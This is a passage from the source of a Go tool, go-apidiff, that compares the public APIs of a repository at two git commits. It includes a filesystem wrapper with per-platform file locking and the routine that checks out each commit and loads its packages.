err != nil { 53 | return nil, err 54 | } 55 | return New(fullPath) 56 | } 57 | 58 | func (fs *OS) Root() string { 59 | return fs.absWorkingDir 60 | } 61 | 62 | func (fs *OS) Create(filename string) (billy.File, error) { 63 | filename = fs.path(filename) 64 | return fs.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC, defaultCreateMode) 65 | } 66 | 67 | func (fs *OS) OpenFile(filename string, flag int, perm os.FileMode) (billy.File, error) { 68 | filename = fs.path(filename) 69 | if flag&os.O_CREATE != 0 { 70 | if err := fs.createDir(filename); err != nil { 71 | return nil, err 72 | } 73 | } 74 | 75 | f, err := os.OpenFile(filename, flag, perm) 76 | if err != nil { 77 | return nil, err 78 | } 79 | return &file{File: f}, err 80 | } 81 | 82 | func (fs *OS) createDir(fullpath string) error { 83 | fullpath = fs.path(fullpath) 84 | dir := filepath.Dir(fullpath) 85 | if dir != "." { 86 | if err := os.MkdirAll(dir, defaultDirectoryMode); err != nil { 87 | return err 88 | } 89 | } 90 | 91 | return nil 92 | } 93 | 94 | func (fs *OS) ReadDir(path string) ([]os.FileInfo, error) { 95 | path = fs.path(path) 96 | l, err := ioutil.ReadDir(path) 97 | if err != nil { 98 | return nil, err 99 | } 100 | 101 | var s = make([]os.FileInfo, len(l)) 102 | for i, f := range l { 103 | s[i] = f 104 | } 105 | 106 | return s, nil 107 | } 108 | 109 | func (fs *OS) Rename(from, to string) error { 110 | from, to = fs.path(from), fs.path(to) 111 | if err := fs.createDir(to); err != nil { 112 | return err 113 | } 114 | 115 | return rename(from, to) 116 | } 117 | 118 | func (fs *OS) MkdirAll(path string, perm os.FileMode) error { 119 | path = fs.path(path) 120 | return os.MkdirAll(path, defaultDirectoryMode) 121 | } 122 | 123 | func (fs *OS) Open(filename string) (billy.File, error) { 124 | filename = fs.path(filename) 125 | return fs.OpenFile(filename, os.O_RDONLY, 0) 126 | } 127 | 128 | func (fs *OS) Stat(filename string) (os.FileInfo, error) { 129 | filename = fs.path(filename) 130 | return os.Stat(filename) 131 | } 132 | 133 | func (fs *OS) Remove(filename string) error { 134 | filename = fs.path(filename) 135 | return os.Remove(filename) 136 | } 137 | 138 | func (fs *OS) TempFile(dir, prefix string) (billy.File, error) { 139 | dir = fs.path(dir) 140 | if err := fs.createDir(dir + string(os.PathSeparator)); err != nil { 141 | return nil, err 142 | } 143 | 144 | f, err := ioutil.TempFile(dir, prefix) 145 | if err != nil { 146 | return nil, err 147 | } 148 | return &file{File: f}, nil 149 | } 150 | 151 | func (fs *OS) Join(elem ...string) string { 152 | return filepath.Join(elem...) 153 | } 154 | 155 | func (fs *OS) RemoveAll(path string) error { 156 | path = fs.path(path) 157 | return os.RemoveAll(path) 158 | } 159 | 160 | func (fs *OS) Lstat(filename string) (os.FileInfo, error) { 161 | filename = fs.path(filename) 162 | return os.Lstat(filename) 163 | } 164 | 165 | func (fs *OS) Symlink(target, link string) error { 166 | link = fs.path(link) 167 | if err := fs.createDir(link); err != nil { 168 | return err 169 | } 170 | 171 | return os.Symlink(target, link) 172 | } 173 | 174 | func (fs *OS) Readlink(link string) (string, error) { 175 | link = fs.path(link) 176 | return os.Readlink(link) 177 | } 178 | 179 | // Capabilities implements the Capable interface. 180 | func (fs *OS) Capabilities() billy.Capability { 181 | return billy.DefaultCapabilities 182 | } 183 | 184 | func (fs *OS) path(path string) string { 185 | if !filepath.IsAbs(path) { 186 | path = filepath.Join(fs.absWorkingDir, path) 187 | } 188 | return filepath.Clean(path) 189 | } 190 | 191 | // file is a wrapper for an os.File which adds support for file locking. 192 | type file struct { 193 | *os.File 194 | m sync.Mutex 195 | } 196 | -------------------------------------------------------------------------------- /pkg/diff/internal/osfs/os_plan9.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2021 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | NOTE: Originally copied from https://raw.githubusercontent.com/go-git/go-billy/d7a8afccaed297c30f8dff5724dbe422b491dd0d/osfs/os_plan9.go 17 | */ 18 | 19 | package osfs 20 | 21 | import ( 22 | "io" 23 | "os" 24 | "path/filepath" 25 | "syscall" 26 | ) 27 | 28 | func (f *file) Lock() error { 29 | // Plan 9 uses a mode bit instead of explicit lock/unlock syscalls. 30 | // 31 | // Per http://man.cat-v.org/plan_9/5/stat: “Exclusive use files may be open 32 | // for I/O by only one fid at a time across all clients of the server. If a 33 | // second open is attempted, it draws an error.” 34 | // 35 | // There is no obvious way to implement this function using the exclusive use bit. 36 | // See https://golang.org/src/cmd/go/internal/lockedfile/lockedfile_plan9.go 37 | // for how file locking is done by the go tool on Plan 9. 38 | return nil 39 | } 40 | 41 | func (f *file) Unlock() error { 42 | return nil 43 | } 44 | 45 | func rename(from, to string) error { 46 | // If from and to are in different directories, copy the file 47 | // since Plan 9 does not support cross-directory rename. 48 | if filepath.Dir(from) != filepath.Dir(to) { 49 | fi, err := os.Stat(from) 50 | if err != nil { 51 | return &os.LinkError{"rename", from, to, err} 52 | } 53 | if fi.Mode().IsDir() { 54 | return &os.LinkError{"rename", from, to, syscall.EISDIR} 55 | } 56 | fromFile, err := os.Open(from) 57 | if err != nil { 58 | return &os.LinkError{"rename", from, to, err} 59 | } 60 | toFile, err := os.OpenFile(to, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fi.Mode()) 61 | if err != nil { 62 | return &os.LinkError{"rename", from, to, err} 63 | } 64 | _, err = io.Copy(toFile, fromFile) 65 | if err != nil { 66 | return &os.LinkError{"rename", from, to, err} 67 | } 68 | 69 | // Copy mtime and mode from original file. 70 | // We need only one syscall if we avoid os.Chmod and os.Chtimes. 71 | dir := fi.Sys().(*syscall.Dir) 72 | var d syscall.Dir 73 | d.Null() 74 | d.Mtime = dir.Mtime 75 | d.Mode = dir.Mode 76 | if err = dirwstat(to, &d); err != nil { 77 | return &os.LinkError{"rename", from, to, err} 78 | } 79 | 80 | // Remove original file. 81 | err = os.Remove(from) 82 | if err != nil { 83 | return &os.LinkError{"rename", from, to, err} 84 | } 85 | return nil 86 | } 87 | return os.Rename(from, to) 88 | } 89 | 90 | func dirwstat(name string, d *syscall.Dir) error { 91 | var buf [syscall.STATFIXLEN]byte 92 | 93 | n, err := d.Marshal(buf[:]) 94 | if err != nil { 95 | return &os.PathError{"dirwstat", name, err} 96 | } 97 | if err = syscall.Wstat(name, buf[:n]); err != nil { 98 | return &os.PathError{"dirwstat", name, err} 99 | } 100 | return nil 101 | } 102 | -------------------------------------------------------------------------------- /pkg/diff/internal/osfs/os_posix.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2021 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | NOTE: Originally copied from https://raw.githubusercontent.com/go-git/go-billy/d7a8afccaed297c30f8dff5724dbe422b491dd0d/osfs/os_posix.go 17 | */ 18 | 19 | // +build !plan9,!windows 20 | 21 | package osfs 22 | 23 | import ( 24 | "os" 25 | 26 | "golang.org/x/sys/unix" 27 | ) 28 | 29 | func (f *file) Lock() error { 30 | f.m.Lock() 31 | defer f.m.Unlock() 32 | 33 | return unix.Flock(int(f.File.Fd()), unix.LOCK_EX) 34 | } 35 | 36 | func (f *file) Unlock() error { 37 | f.m.Lock() 38 | defer f.m.Unlock() 39 | 40 | return unix.Flock(int(f.File.Fd()), unix.LOCK_UN) 41 | } 42 | 43 | func rename(from, to string) error { 44 | return os.Rename(from, to) 45 | } 46 | -------------------------------------------------------------------------------- /pkg/diff/internal/osfs/os_windows.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2021 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | NOTE: Originally copied from https://raw.githubusercontent.com/go-git/go-billy/d7a8afccaed297c30f8dff5724dbe422b491dd0d/osfs/os_windows.go 17 | */ 18 | 19 | // +build windows 20 | 21 | package osfs 22 | 23 | import ( 24 | "os" 25 | "runtime" 26 | "unsafe" 27 | 28 | "golang.org/x/sys/windows" 29 | ) 30 | 31 | type fileInfo struct { 32 | os.FileInfo 33 | name string 34 | } 35 | 36 | func (fi *fileInfo) Name() string { 37 | return fi.name 38 | } 39 | 40 | var ( 41 | kernel32DLL = windows.NewLazySystemDLL("kernel32.dll") 42 | lockFileExProc = kernel32DLL.NewProc("LockFileEx") 43 | unlockFileProc = kernel32DLL.NewProc("UnlockFile") 44 | ) 45 | 46 | const ( 47 | lockfileExclusiveLock = 0x2 48 | ) 49 | 50 | func (f *file) Lock() error { 51 | f.m.Lock() 52 | defer f.m.Unlock() 53 | 54 | var overlapped windows.Overlapped 55 | // err is always non-nil as per sys/windows semantics. 56 | ret, _, err := lockFileExProc.Call(f.File.Fd(), lockfileExclusiveLock, 0, 0xFFFFFFFF, 0, 57 | uintptr(unsafe.Pointer(&overlapped))) 58 | runtime.KeepAlive(&overlapped) 59 | if ret == 0 { 60 | return err 61 | } 62 | return nil 63 | } 64 | 65 | func (f *file) Unlock() error { 66 | f.m.Lock() 67 | defer f.m.Unlock() 68 | 69 | // err is always non-nil as per sys/windows semantics. 70 | ret, _, err := unlockFileProc.Call(f.File.Fd(), 0, 0, 0xFFFFFFFF, 0) 71 | if ret == 0 { 72 | return err 73 | } 74 | return nil 75 | } 76 | 77 | func rename(from, to string) error { 78 | return os.Rename(from, to) 79 | } 80 | -------------------------------------------------------------------------------- /pkg/diff/run.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package diff 18 | 19 | import ( 20 | "fmt" 21 | "go/types" 22 | "os" 23 | "path/filepath" 24 | "strings" 25 | 26 | "github.com/go-git/go-git/v5" 27 | "github.com/go-git/go-git/v5/plumbing" 28 | "github.com/go-git/go-git/v5/plumbing/format/gitignore" 29 | "golang.org/x/exp/apidiff" 30 | "golang.org/x/tools/go/packages" 31 | 32 | "github.com/ultimateinter/go-apidiff/pkg/diff/internal/osfs" 33 | ) 34 | 35 | type Options struct { 36 | RepoPath string 37 | OldCommit string 38 | NewCommit string 39 | CompareImports bool 40 | } 41 | 42 | func Run(opts Options) (*Diff, error) { 43 | repo, err := git.PlainOpen(opts.RepoPath) 44 | if err != nil { 45 | return nil, fmt.Errorf("failed to open git repo: %w", err) 46 | } 47 | 48 | wt, err := repo.Worktree() 49 | if err != nil { 50 | return nil, fmt.Errorf("failed to get git worktree: %w", err) 51 | } 52 | 53 | // TODO: Using a custom filesystem is necessary due to a bug related 54 | // to computing hashes for symlinks with targets outside the repo. 55 | // See: https://github.com/go-git/go-git/issues/253 56 | wt.Filesystem, err = osfs.New(opts.RepoPath) 57 | if err != nil { 58 | return nil, fmt.Errorf("failed to set worktree filesystem interface: %v", err) 59 | } 60 | 61 | rootFS, err := osfs.New("/") 62 | if err != nil { 63 | return nil, fmt.Errorf("failed to create root filesystem interface: %v", err) 64 | } 65 | 66 | globalIgnores, err := gitignore.LoadGlobalPatterns(rootFS) 67 | if err != nil { 68 | return nil, fmt.Errorf("failed to load global gitignore: %v", err) 69 | } 70 | wt.Excludes = append(wt.Excludes, globalIgnores...) 71 | 72 | systemIgnores, err := gitignore.LoadSystemPatterns(rootFS) 73 | if err != nil { 74 | return nil, fmt.Errorf("failed to load system gitignore: %v", err) 75 | } 76 | wt.Excludes = append(wt.Excludes, systemIgnores...) 77 | 78 | if stat, err := wt.Status(); err != nil { 79 | return nil, fmt.Errorf("failed to get git status: %w", err) 80 | } else if !stat.IsClean() { 81 | return nil, &GitStatusError{stat, fmt.Errorf("current git tree is dirty")} 82 | } 83 | 84 | origRef, err := repo.Head() 85 | if err != nil { 86 | return nil, fmt.Errorf("failed to get current HEAD reference: %w", err) 87 | } 88 | 89 | oldHash, newHash, err := getHashes(repo, plumbing.Revision(opts.OldCommit), plumbing.Revision(opts.NewCommit)) 90 | if err != nil { 91 | return nil, fmt.Errorf("failed to lookup git commit hashes: %w", err) 92 | } 93 | 94 | defer func() { 95 | if err := checkoutRef(*wt, *origRef); err != nil { 96 | fmt.Printf("WARNING: failed to checkout your original working commit after diff: %v\n", err) 97 | } 98 | }() 99 | 100 | selfOld, importsOld, err := getPackages(*wt, *oldHash) 101 | if err != nil { 102 | return nil, fmt.Errorf("failed to get packages from old commit %q (%s): %w", opts.OldCommit, oldHash, err) 103 | } 104 | 105 | selfNew, importsNew, err := getPackages(*wt, *newHash) 106 | if err != nil { 107 | return nil, fmt.Errorf("failed to get packages from new commit %q (%s): %w", opts.NewCommit, newHash, err) 108 | } 109 | 110 | diff := &Diff{} 111 | diff.selfReports, diff.selfIncompatible = compareChangesAdditionsAndRemovals(selfOld, selfNew) 112 | 113 | if opts.CompareImports { 114 | // When comparing imports, we only compare the changes and additions 115 | // between oldPkgs and newPkgs. We ignore removals in newPkgs because 116 | // the removed packages are no longer dependencies and therefore have 117 | // no impact on compatibility of imports. 118 | diff.importsReports, diff.importsIncompatible = compareChangesAndAdditions(importsOld, importsNew) 119 | } 120 | 121 | return diff, nil 122 | } 123 | 124 | type GitStatusError struct { 125 | Stat git.Status 126 | Err error 127 | } 128 | 129 | func (err *GitStatusError) Error() string { 130 | return fmt.Sprintf("%v\n%v", err.Err, err.Stat) 131 | } 132 | 133 | func compareChangesAdditionsAndRemovals(oldPkgs, newPkgs map[string]*packages.Package) (map[string]apidiff.Report, bool) { 134 | reports, incompatible := compareChangesAndAdditions(oldPkgs, newPkgs) 135 | 136 | // remove packages from oldPkgs that are present in newPkgs. When this loop 137 | // completes, the packages left in oldPkgs are the ones that were removed 138 | // and no longer used in the new commit of this repo. 139 | // 140 | // This is required for the next loop to be able to report correctly on 141 | // removes between the old commit and new commit. 142 | for k := range newPkgs { 143 | delete(oldPkgs, k) 144 | } 145 | 146 | for k, oldPackage := range oldPkgs { 147 | report := apidiff.Changes(oldPackage.Types, types.NewPackage(k, oldPackage.Name)) 148 | for _, c := range report.Changes { 149 | if !c.Compatible { 150 | incompatible = true 151 | } 152 | } 153 | reports[k] = report 154 | } 155 | return reports, incompatible 156 | } 157 | 158 | func compareChangesAndAdditions(oldPkgs, newPkgs map[string]*packages.Package) (map[string]apidiff.Report, bool) { 159 | reports := map[string]apidiff.Report{} 160 | incompatible := false 161 | for k, newPackage := range newPkgs { 162 | 163 | // if this is a brand new package, use a dummy empty package for 164 | // oldPackage, so that everything in newPackage is reported as new. 165 | oldPackage, ok := oldPkgs[k] 166 | if !ok { 167 | oldPackage = &packages.Package{Types: types.NewPackage(newPackage.PkgPath, newPackage.Name)} 168 | } 169 | 170 | report := apidiff.Changes(oldPackage.Types, newPackage.Types) 171 | for _, c := range report.Changes { 172 | if !c.Compatible { 173 | incompatible = true 174 | } 175 | } 176 | reports[k] = report 177 | } 178 | return reports, incompatible 179 | } 180 | 181 | func getHashes(repo *git.Repository, oldRev, newRev plumbing.Revision) (*plumbing.Hash, *plumbing.Hash, error) { 182 | oldCommitHash, err := repo.ResolveRevision(oldRev) 183 | if err != nil { 184 | return nil, nil, fmt.Errorf("could not get hash for %q: %v", oldRev, err) 185 | } 186 | 187 | newCommitHash, err := repo.ResolveRevision(newRev) 188 | if err != nil { 189 | return nil, nil, fmt.Errorf("could not get hash for %q: %v", newRev, err) 190 | } 191 | 192 | return oldCommitHash, newCommitHash, nil 193 | } 194 | 195 | func getPackages(wt git.Worktree, hash plumbing.Hash) (map[string]*packages.Package, map[string]*packages.Package, error) { 196 | if err := wt.Checkout(&git.CheckoutOptions{Hash: hash, Force: true}); err != nil { 197 | return nil, nil, err 198 | } 199 | if err := wt.Clean(&git.CleanOptions{Dir: true}); err != nil { 200 | return nil, nil, err 201 | } 202 | if err := wt.Reset(&git.ResetOptions{Commit: hash, Mode: git.HardReset}); err != nil { 203 | return nil, nil, err 204 | } 205 | 206 | goFlags := "-mod=readonly" 207 | if st, err := os.Stat(filepath.Join(wt.Filesystem.Root(), "vendor")); err == nil && st.IsDir() { 208 | goFlags = "-mod=vendor" 209 | } 210 | cfg := packages.Config{ 211 | Mode: packages.NeedName | packages.NeedFiles | packages.NeedCompiledGoFiles | 212 | packages.NeedImports | packages.NeedTypes | packages.NeedTypesSizes, 213 | Tests: false, 214 | BuildFlags: []string{goFlags}, 215 | } 216 | pkgs, err := packages.Load(&cfg, "./...") 217 | if err != nil { 218 | return nil, nil, err 219 | } 220 | 221 | selfPkgs := make(map[string]*packages.Package) 222 | importPkgs := make(map[string]*packages.Package) 223 | for _, pkg := range pkgs { 224 | // skip internal packages since they do not contain public APIs 225 | if strings.HasSuffix(pkg.PkgPath, "/internal") || strings.Contains(pkg.PkgPath, "/internal/") { 226 | continue 227 | } 228 | selfPkgs[pkg.PkgPath] = pkg 229 | } 230 | for _, pkg := range pkgs { 231 | for _, ipkg := range pkg.Imports { 232 | if _, ok := selfPkgs[ipkg.PkgPath]; !ok { 233 | importPkgs[ipkg.PkgPath] = ipkg 234 | } 235 | } 236 | } 237 | 238 | // Reset the worktree. Sometimes loading the packages can cause the 239 | // worktree to become dirty. It seems like this occurs because package 240 | // loading can change go.mod and go.sum. 241 | // 242 | // TODO(joelanford): If go-git starts to support checking out of specific 243 | // files we can update this to be less aggressive and only checkout 244 | // go.mod and go.sum instead of resetting the entire tree. 245 | if err := wt.Reset(&git.ResetOptions{ 246 | Mode: git.HardReset, 247 | Commit: hash, 248 | }); err != nil { 249 | return nil, nil, fmt.Errorf("failed to hard reset to %v: %w", hash, err) 250 | } 251 | 252 | return selfPkgs, importPkgs, nil 253 | } 254 | 255 | func checkoutRef(wt git.Worktree, ref plumbing.Reference) (err error) { 256 | if ref.Name() == "HEAD" { 257 | return wt.Checkout(&git.CheckoutOptions{Hash: ref.Hash()}) 258 | } 259 | return wt.Checkout(&git.CheckoutOptions{Branch: ref.Name()}) 260 | } 261 | --------------------------------------------------------------------------------